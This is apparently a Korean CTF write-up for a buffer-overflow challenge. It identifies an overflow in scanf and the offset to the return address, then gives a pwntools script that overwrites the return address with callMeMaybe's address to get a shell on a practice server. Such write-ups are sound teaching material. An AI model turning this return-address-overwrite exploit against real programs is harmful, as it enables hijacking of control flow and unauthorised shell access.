문제 분석
main함수에서 scanf를 보면 BOF 취약점이 존재한다.
callMeMaybe함수에서는 shell을 획득할 수 있다.
문제 풀이
변수 s는 ebp-0x110에 위치하므로 다음과 같이 payload를 작성할 수 있다.
dummy(0x110byte) + sfp(8byte) + 0x0000000000400606(callMeMaybe address)
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3004)
payload = ''
payload += '\x90'*0x110
payload += '\x90'*0x8
payload += p64(0x0000000000400606)
p.sendline(payload)
p.interactive()